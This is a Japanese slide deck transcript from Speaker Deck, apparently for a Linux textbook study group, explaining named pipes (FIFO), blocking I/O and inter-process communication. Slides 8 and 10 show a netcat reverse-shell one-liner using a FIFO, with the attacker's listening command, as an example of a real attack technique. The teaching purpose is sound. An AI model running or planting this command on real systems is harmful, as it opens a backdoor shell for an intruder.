Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
名前付きパイプ FIFO
Search
Osumi, Yusuke
February 13, 2021
Technology
0
390
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
Tweet
Share
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
300
gitサービス3兄弟
ozuma
0
310
簡体字は楽
ozuma
0
360
ソフトウェアは固定資産
ozuma
0
330
ASCIIコードの小話
ozuma
0
340
今いるディレクトリを消すとどうなる
ozuma
1
250
文章、作文技法 リモートワーク
ozuma
1
750
CentOSの今後のリリース(簡易説明)
ozuma
0
310
AndroidでもLinux動いてるよ
ozuma
0
320
Other Decks in Technology
See All in Technology
XPを始める新人に伝えたい近道の鍵
nakasho
1
270
[JAWS-UG GameTech] 第6回 各種事例紹介_18TRIPにおけるAWSサービスを活用した負荷テスト・障害テスト
naoto_yasuda
0
120
Oracle Cloud Infrastructure:2024年9月度サービス・アップデート
oracle4engineer
PRO
0
370
【shownet.conf_】AI技術とUX監視の応用でShowNetの基盤を支えるモニタリングシステム
shownet
PRO
0
270
10Xでのデータ基盤の変遷とこれから: データマネジメントのリアル 〜BtoB企業3社の歩みとこれから〜
10xinc
6
1.2k
kube-vipとkube-proxy置き換えCiliumを積んだ究極のK3sクラスタを建てる
logica0419
4
190
【shownet.conf_】放送局とShowNetが共創する、未来の放送システム ~Media over IP 特別企画の裏側~
shownet
PRO
0
270
トークナイザー入門
payanotty
2
620
Vista FinderMx
jtes
0
160
How CERN serves 1EB of data via FUSE
ennael
PRO
0
16k
AI時代のアジャイル開発(XP祭り2024版) / Agile Development in the AI Era in XPJUG
takaking22
13
3.5k
Oracle Database 23ai 新機能#4 Real Application Clusters
oracle4engineer
PRO
0
110
Featured
See All Featured
Stop Working from a Prison Cell
hatefulcrawdad
267
20k
The World Runs on Bad Software
bkeepers
PRO
65
11k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
225
22k
We Have a Design System, Now What?
morganepeng
49
7.1k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
30
2.6k
Designing with Data
zakiwarfel
98
5.1k
Raft: Consensus for Rubyists
vanstee
136
6.6k
[RailsConf 2023] Rails as a piece of cake
palkan
49
4.7k
XXLCSS - How to scale CSS and keep your sanity
sugarenia
246
1.3M
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
4
99
Imperfection Machines: The Place of Print at Facebook
scottboms
263
13k
Atom: Resistance is Futile
akmur
261
25k
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る